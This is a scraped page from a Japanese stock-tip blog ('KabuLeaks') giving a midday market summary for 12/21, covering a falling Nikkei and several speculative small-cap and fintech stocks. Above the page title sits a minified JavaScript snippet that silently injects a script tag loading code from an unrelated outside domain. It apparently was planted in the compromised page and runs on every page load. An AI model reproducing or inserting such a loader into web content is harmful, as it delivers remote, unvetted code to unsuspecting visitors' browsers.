;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/21 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/21 前引け】

前場の日経平均株価は322円安と大幅続落。先週末の米市場が原油相場下落の要因に大幅下落となったほか、引き続き日銀会合での補完措置への意見の分かれる結果も重石となり朝方から売りが先行、中盤以降も下げ止まる気配を見せずダラダラと下値模索の展開となっている。業種別では、全33業種全てが下落し、値下がり上位は、倉庫運輸関連、医薬品、精密機器、不動産業など。

個別では、利上げの影響からのFX取引などの活発化の思惑から【8704】トレイダーズホールディングスが一時ストップ高の大幅上昇。bitFlyerとビットコインへのポイント交換で提携の【3691】リアルワールドがフィンテック関連としての思惑から先週末に続きストップ高となったほか、iPhone向けアプリ「Stapa!」の提供開始を発表した【3845】アイフリークモバイル、民泊関連の【8889】アパマンショップ、フィンテック関連の【3778】さくらインターネット、直近IPO、【3925】ダブルスタンダードなども先週に引き続き短期資金を集めている。

日経平均は下値模索、日銀会合からの失望売りは一巡した可能性はあるが引き続き原油価格下落からの不透明性から積極的には押し目は拾い難い状況だ。先週末に書いた通り、外国人投資家はクリスマス休暇入りで市場は今後閑散としてくる可能性が高く、しばらくは個人主体の物色。人気のフィンテック関連、民泊関連、材料株・中小型株中心などの短期売買をメインに上手く立ち回っていきたいところだ。